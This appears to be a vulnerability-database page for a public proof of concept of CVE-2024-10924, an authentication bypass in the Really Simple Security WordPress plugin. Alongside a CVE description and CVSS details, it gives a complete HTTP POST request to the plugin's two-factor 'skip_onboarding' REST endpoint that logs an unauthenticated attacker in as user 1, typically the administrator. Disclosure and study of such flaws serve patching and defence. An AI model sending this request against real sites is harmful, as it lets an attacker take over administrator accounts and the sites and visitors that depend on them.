CVE-2024-10924 PoC — WordPress plugin Really Simple Security 安全漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-10924

Associated Vulnerability

Title:WordPress plugin Really Simple Security 安全漏洞 (CVE-2024-10924)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Really Simple Security 9.0.0版本到9.1.1.1版本存在安全漏洞，该漏洞源于包含一个身份验证绕过漏洞。

Description

 Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication Bypass

Readme

# CVE-2024-10924
 Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication Bypass

 # Description

 The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).

```
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE	CVE-2024-10924
CVSS	9.8 (Critical)
Publicly Published	November 14, 2024
Last Updated	November 14, 2024
Researcher	István Márton - Wordfence
```

POC
---

```
POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;
Connection: keep-alive
Content-Length: 90

{
    "user_id":1,
    "login_nonce": "231231231",
    "redirect_to": "/wp-admin/"
}

```

File Snapshot


 [4.0K]  /data/pocs/8e4f082b273dfe73e8021e7fd669693fdb19261a
└── [1.3K]  README.md

0 directories, 1 file

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